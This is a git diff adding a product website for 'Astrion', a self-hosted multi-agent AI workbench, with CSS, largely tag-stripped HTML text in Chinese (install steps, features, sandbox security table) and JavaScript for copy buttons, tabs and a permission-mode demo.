} +.hero-title { + font-family: var(--mono); font-weight: 600; + font-size: clamp(40px, 6vw, 60px); letter-spacing: .02em; + line-height: 1; +} +.hero-tag { margin-top: 10px; color: var(--ink-soft); font-size: 15px; } + +.man-sec { margin-top: 34px; } +.man-sec h2 { + font-size: 13px; font-weight: 600; letter-spacing: .3em; + border-bottom: 1px solid var(--line); padding-bottom: 6px; +} +.indent { padding: 14px 0 0 26px; } + +/* 安装 tab + 代码块 */ +.install-tabs { display: flex; gap: 0; margin-bottom: -1px; position: relative; z-index: 1; } +.it { + border: 1px solid var(--line); border-bottom: none; + background: var(--paper); color: var(--ink-soft); + padding: 6px 18px; font-size: 12.5px; cursor: pointer; + font-family: var(--mono); +} +.it:first-child { border-radius: 6px 0 0 0; } +.it:last-child { border-radius: 0 6px 0 0; border-left: none; } +.it.active { color: var(--ink); font-weight: 600; box-shadow: inset 0 2px 0 var(--accent); } +.code { + position: relative; + border: 1px solid var(--line); + background: #f4f2ec; + padding: 18px 20px; font-size: 13px; line-height: 1.8; + overflow-x: auto; border-radius: 0 6px 6px 6px; +} +.code .cmt { color: var(--ink-soft); } +.copy-btn { + position: absolute; top: 10px; right: 10px; + border: 1px solid var(--line); background: var(--paper); + font-size: 11px; padding: 3px 10px; cursor: pointer; + color: var(--ink-soft); border-radius: 4px; + transition: all .15s; +} +.copy-btn:hover { color: var(--accent); border-color: var(--accent); } +.copy-btn.copied { color: #3d7a4e; border-color: #3d7a4e; } + +/* ---------- 分隔线 ---------- */ +.rule { border: none; border-top: 1px solid var(--line); margin: 54px 0 0; } + +/* ---------- 章节公共 ---------- */ +.sec { padding-top: 44px; } +.sec-h { + font-size: 13px; font-weight: 600; letter-spacing: .3em; + display: flex; align-items: baseline; gap: 14px; flex-wrap: wrap; +} +.sec-note { + font-family: var(--sans); font-weight: 400; font-size: 13.5px; + letter-spacing: 0; color: var(--ink-soft); +} + +/* ---------- 模式演示 ---------- */ +.mode-board { margin-top: 26px; border: 1px solid var(--line); padding: 8px 22px 18px; } +.mode-group { + display: flex; align-items: center; gap: 8px; flex-wrap: wrap; + padding: 12px 0; border-bottom: 1px dashed var(--line); + font-size: 13px; +} +.mode-group:last-of-type { border-bottom: none; } +.mg-label { width: 96px; color: var(--ink-soft); flex-shrink: 0; } +.mg-opt { + border: 1px solid var(--line); background: var(--paper); + padding: 3px 12px; font-size: 12.5px; cursor: pointer; + font-family: var(--mono); color: var(--ink); border-radius: 4px; + transition: all .15s; +} +.mg-opt:hover { border-color: var(--accent); } +.mg-opt.active { background: var(--ink); color: var(--paper); border-color: var(--ink); } +.mode-verdict { + margin-top: 16px; padding: 12px 16px; + background: #f4f2ec; border-left: 2px solid var(--accent); + font-size: 12.5px; color: var(--ink-soft); line-height: 1.8; + min-height: 46px; +} + +/* ---------- 实拍 ---------- */ +.shot { margin-top: 26px; } +.shot img { + width: 100%; display: block; + border: 1px solid var(--line); +} +.shot figcaption { margin-top: 10px; font-size: 12px; color: var(--ink-soft); } + +/* ---------- 能力清单 ---------- */ +.flist { margin-top: 22px; list-style: none; } +.flist li { + display: flex; gap: 12px; align-items: baseline; + padding: 13px 2px; border-bottom: 1px solid var(--line); +} +.flist li:last-child { border-bottom: none; } +.mk { color: var(--accent); flex-shrink: 0; font-size: 13px; } +.flist b { font-weight: 700; white-space: nowrap; } +.flist .desc { color: var(--ink-soft); font-size: 14px; } +.flist .desc::before { content: "— "; color: var(--line); } +.tag-beta { + font-style: normal; font-size: 10px; + border: 1px solid var(--accent); color: var(--accent); + padding: 0 5px; border-radius: 3px; vertical-align: 1px; +} + +/* ---------- 安全表 ---------- */ +.stable { + width: 100%; margin-top: 24px; + border-collapse: collapse; font-size: 13px; + border-top: 1.5px solid var(--ink); border-bottom: 1.5px solid var(--ink); +} +.stable th { + text-align: left; font-weight: 500; color: var(--ink-soft); + padding: 10px 12px; border-bottom: 1px solid var(--line); + font-size: 12px; letter-spacing: .1em; +} +.stable td { padding: 13px 12px; border-bottom: 1px solid var(--line); vertical-align: top; } +.stable tr:last-child td { border-bottom: none; } +.stable td:first-child { font-weight: 600; } +.sec-foot { margin-top: 14px; font-size: 13px; color: var(--ink-soft); } + +/* ---------- SEE ALSO ---------- */ +.seealso { margin-top: 18px; list-style: none; columns: 2; font-size: 13px; } +.seealso li { padding: 5px 0; } +.seealso a { color: var(--ink); text-decoration: none; border-bottom: 1px solid var(--line); } +.seealso a:hover { color: var(--accent); border-color: var(--accent); } + +/* ---------- Footer ---------- */ +.footer { margin-top: 60px; border-top: 1px solid var(--ink); padding-top: 18px; font-size: 12.5px; } +.foot-row { display: flex; justify-content: space-between; flex-wrap: wrap; gap: 10px; } +.foot-links { display: flex; gap: 20px; } +.foot-links a { color: var(--ink); text-decoration: none; } +.foot-links a:hover { color: var(--accent); } +.foot-line { margin-top: 12px; color: var(--ink-soft); } +.foot-man { margin-top: 4px; color: var(--ink-soft); text-align: center; letter-spacing: .1em; } + +/* ---------- 响应式 ---------- */ +@media (max-width: 640px) { + .manbar-c { display: none; } + .seealso { columns: 1; } + .indent { padding-left: 12px; } + .flist li { flex-wrap: wrap; } + .flist .desc { flex-basis: 100%; padding-left: 34px; } + .flist .desc::before { content: ""; } +} diff --git a/website-design/v3-terminal/index.html b/website-design/v3-terminal/index.html new file mode 100644 index 00000000..c93f165d --- /dev/null +++ b/website-design/v3-terminal/index.html @@ -0,0 +1,184 @@ + + + + + + ASTRION(1) — 自托管智能体工作台 + + + + + + + +
+ + +
+ ASTRION(1) + General Commands Manual + ASTRION(1) +
+ + +
+
+ +
+

astrion

+

星尘聚合,即成智能体。— 开源、自托管、数据不出本机。

+
+
+ +
+

NAME

+

astrion — 住在你机器上的智能体团队:普通对话、多智能体团队、工作流、技能包。

+
+ +
+

SYNOPSIS

+
+
+ + +
+
# 克隆并初始化(向导:模式 → 端口 → 管理员 → 模型)
+git clone https://github.com/JOJO6618/astrion.git
+cd astrion && ./setup.sh
+
+# 构建前端并启动 → http://localhost:8091
+npm install && npm run build
+python -m server.app
+ +
+
+ +
+

FORMS

+

[*] Web 界面    [*] CLI(开发中)    [*] Android

+
+
+ +
+ + +
+

CONCEPTS — 四组正交开关,定义行为边界(可点击)

+
+
+ 部署模式 + + +
+
+ 权限模式 + + + + +
+
+ 执行环境 + + +
+
+ 运行模式 + + + +
+

+
+
+ +
+ + +
+

SCREENSHOT — 经典主题主界面

+
+ Astrion 经典主题主界面 +
fig.1 — 输入栏底行即控制台:对话类型 / 运行模式 / 权限 / 执行环境
+
+
+ +
+ + +
+

FEATURES — 一支团队,而不只是一个对话框

+
    +
  • [*]多智能体团队Team Leader 率领角色团队协作;预置 5 角色(全栈 / 评审 / 调研 / UI 操作 / 头脑风暴),可自建。
  • +
  • [*]三层资产安全网版本控制按消息打检查点;修改留痕落盘可 git apply 恢复的 diff;Git 状态栏实时盯梢。
  • +
  • [*]快捷窗口待办 / 子智能体 / 后台命令 / 文件记录 / 工作流,五窗实时看板。
  • +
  • [*]工作流与技能包内置 4 个工作流、12 个技能包;流程与经验皆可沉淀复用。
  • +
  • [*]目标模式 BETA给出长期目标,自动逐轮推进,审核智能体把关,触顶或达成才停。
  • +
  • [*]MCP 扩展接入任意 MCP 工具服务;host 模式下对它说一句「帮我配置 xxx」即可装好。
  • +
+
+ +
+ + +
+

SECURITY — 安全这件事,我们说实话

+ + + + + + + + + +
平台沙箱实现安全水位
WindowsWSL2[OK]   完全数据隔离,需先安装 WSL2
macOSsandbox-exec[WARN] 可限制写入;全局可读,无法防止数据泄露
Linuxbwrap+seccomp[UNTESTED] 尚未实测,请勿依赖其隔离性
+

叠加路径授权最小化 + 网络受限 + 批准模式,才是完整防护姿势。

+
+ +
+ + +
+

SEE ALSO

+ +
+ + +
+
+ © 2026 Astrion · Open Source + + GitHub [↗] + 文档 + 更新日志 + +
+

星之子,星际粒子。把人类意图传递到工具、文件与终端之间。

+

ASTRION(1) · 2026-08 · 第 1 版

+
+ +
+ + + diff --git a/website-design/v3-terminal/js/main.js b/website-design/v3-terminal/js/main.js new file mode 100644 index 00000000..b66fc220 --- /dev/null +++ b/website-design/v3-terminal/js/main.js @@ -0,0 +1,69 @@ +/* Astrion 官网 · 版本三交互 */ + +// ---- 复制命令 ---- +document.querySelectorAll('[data-copy]').forEach((btn) => { + btn.addEventListener('click', async () => { + const text = btn.getAttribute('data-copy'); + try { await navigator.clipboard.writeText(text); } catch {} + btn.classList.add('copied'); + const old = btn.textContent; + btn.textContent = 'copied ✓'; + setTimeout(() => { btn.classList.remove('copied'); btn.textContent = old; }, 1500); + }); +}); + +// ---- 安装 tab ---- +document.querySelectorAll('.it').forEach((tab) => { + tab.addEventListener('click', () => { + document.querySelectorAll('.it').forEach((t) => t.classList.remove('active')); + tab.classList.add('active'); + const target = tab.getAttribute('data-tab'); + document.getElementById('qsHost').classList.toggle('hidden', target !== 'host'); + document.getElementById('qsDocker').classList.toggle('hidden', target !== 'docker'); + }); +}); + +// ---- 四组模式演示 ---- +const modeState = { deploy: 'host', permission: 'approval', exec: 'sandbox', work: 'plan' }; + +const verdictText = () => { + const work = { + plan: 'AI 只制定计划并与你讨论,批准后自动转入执行', + ask: 'AI 先与你确认方案细节,再动手', + execute: 'AI 自行补全细节,直接开工' + }[modeState.work]; + const perm = { + readonly: '只能读取与检索,一切写入被直接拒绝', + approval: '命令先在只读沙箱试跑,写入需你逐次点头', + auto: '写入由自动审批智能体替你把关,你可随时接管', + unrestricted: '工具不做拦截,直接执行' + }[modeState.permission]; + const exec = modeState.exec === 'sandbox' + ? '命令约束在 OS 沙箱内,读写边界由路径授权限定' + : '命令直接在宿主机执行,无沙箱兜底(高风险)'; + const deploy = modeState.deploy === 'host' + ? '数据存在本机 ~/.astrion,命令跑在宿主机' + : '数据存在服务器,每个用户一个独立容器'; + + let extra = ''; + if (modeState.work === 'plan') extra = ' ;; 注意:计划模式下权限与执行环境已锁定为只读+沙箱'; + if (modeState.exec === 'direct' && modeState.permission === 'unrestricted') extra = ' ;; 警告:无限制+直连 = 裸奔'; + + return `$ astrion --explain\n=> ${deploy};${exec}。${work};${perm}。${extra}`; +}; + +const verdictEl = document.getElementById('modeVerdict'); +const renderVerdict = () => { verdictEl.textContent = verdictText(); }; + +document.querySelectorAll('.mode-group').forEach((group) => { + const key = group.getAttribute('data-group'); + group.querySelectorAll('.mg-opt').forEach((opt) => { + opt.addEventListener('click', () => { + group.querySelectorAll('.mg-opt').forEach((o) => o.classList.remove('active')); + opt.classList.add('active'); + modeState[key] = opt.getAttribute('data-v'); + renderVerdict(); + }); + }); +}); +renderVerdict();